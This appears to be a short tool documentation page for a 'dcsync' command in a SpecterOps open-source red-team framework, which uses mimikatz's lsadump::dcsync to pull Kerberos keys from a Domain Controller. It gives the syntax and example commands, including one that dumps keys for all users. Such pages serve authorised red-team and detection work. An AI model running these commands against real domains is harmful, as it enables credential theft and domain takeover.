dcsync - SpecterOps Open Source

Artifacts Generated: Process Create, Process Inject, Process Kill

Summary

Use mimikatz’s lsadump::dcsync module to retrieve a user’s kerberos keys from a Domain Controller.

Domain to query information from.

Username to sync kerberos keys for. Default is all users.

Domain controller to sync credential material from.

dcsync -Domain domain.local [-User username -DC dc.domain.local]

Example

dcsync -Domain contoso.local -User djhohnstein -DC 10.120.30.204
dcsync -Domain contoso.local

⌘I